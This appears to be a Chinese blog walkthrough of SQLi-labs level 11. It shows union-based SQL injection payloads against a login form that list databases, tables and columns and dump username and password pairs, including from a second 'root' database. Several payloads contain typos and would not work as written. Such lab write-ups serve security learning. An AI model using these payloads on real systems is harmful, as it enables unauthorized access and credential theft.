sqllab第十一关通关笔记

知识点:

  • 发现登录框就可以尝试注入
  • 登录框一般都是字符型注入
  • 通过注入可以获取其他表的信息
  • 绕过手段
    • 单引号闭合+联合注入
    • 也可以进行错误注入

首先看界面是一个登录框;通过admin admin登录进去,发现页面会把用户名和密码的登录信息打印出来;通过bp抓包进行测试是不是存在注入点

开始测试

构造payload:username=a'+or+1=1#

页面成功回显除了第一个用户名和密码;说明这里存在字符型注入;通过单引号闭合进行绕过

既然页面有回显可以尝试进行联合注入(尝试先用3个字段,前几关的经验)

构造payload:username=a'+unoion+select+1,2,3#

提示字段数不对,根据页面返回情况猜测是两个字段

构造payload:username=a'+union+select+1,2#

页面成功回显除了输入的信息;说明注入成功;下面可以进行数据库敏感信息的获取了

联合注入成功,获取数据库名

构造payload:username=a'+union+select+1,database()#

成功获取了数据库名

接下来获取数据库下的表名

构造payload:username=a'+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema='security'#

成功获取了security下的表名;

接下来获取users表中的所有字段名;

构造payload:username=a'+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='users'#

成功获取了相关的字段;发现里面有用户名和密码

接下来获取相关的数据信息(用户名和密码)

构造payload:username=a'+union+select+1,group_concat(username,':',password)+from+users#

这里直接用users表名了;因为当前默认使用的数据库是security;所有加不加都可以;如果不知道的情况下最好加上;如security.users

成功获取了用户的敏感信息

到这里其实就完成了;不需要在进行其他操作了但是我想测一下是不是能够读取其他数据库的信息

番外

接着进行操作;获取所有数据库名

构造payload:username=a'+group_concat(schema_name)+from+information_schema.schemata#

成功获取了所有的数据库信息;发现了一个root数据库

尝试获取root数据库的表名

构造payload:username=a'+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_security='root'#

成功获取了所有的表名;发现有一个用户表

尝试读取users表的字段信息

构造payload:username=a'+union+select+1,group_concat(column_name)+from+information_schema.tables+where+table_schema='root'+and+table_name='users'#

成功获取users表中的字段信息

发现存在用户名和密码的字段

接下来对用户名和密码进行读取

构造payload:username=a'+union+select+1,grroup_concat(user,':',password)+from+root.users#

这里就要指定数据库了,因为默认是security数据库;通过指定root.users

成功获取了root表中的所有用户信息;可以看出密码进行加密了

到这里就真的结束了,真实畅快啊

10

相关推荐
铁匠匠匠3 分钟前
【C总集篇】第八章 数组和指针
c语言·开发语言·数据结构·经验分享·笔记·学习·算法
CZDXWX19 分钟前
感知笔记4:YOLO 3D 物体定位
笔记·yolo
Wzc890204bai1 小时前
肥胖成因:饮食之外,消耗吸收慢是关键因素
经验分享·笔记·生活
L10732034821 小时前
深度学习笔记17_TensorFlow实现咖啡豆识别
笔记·深度学习·tensorflow
因为奋斗超太帅啦1 小时前
React学习笔记(三)——React 组件通讯
笔记·学习·react.js
卡戎-caryon2 小时前
【操作系统】01.冯·诺伊曼体系结构
服务器·笔记·操作系统·冯·诺伊曼体系结构
完球了3 小时前
【Day02-JS+Vue+Ajax】
javascript·vue.js·笔记·学习·ajax
开MINI的工科男3 小时前
【笔记】自动驾驶预测与决策规划_Part1_自动驾驶决策规划简介
人工智能·笔记·自动驾驶
RS&4 小时前
python学习笔记
笔记·python·学习
liuwill5 小时前
从技术打磨到产品验证:读《程序员修炼之道》的务实之道
笔记·程序人生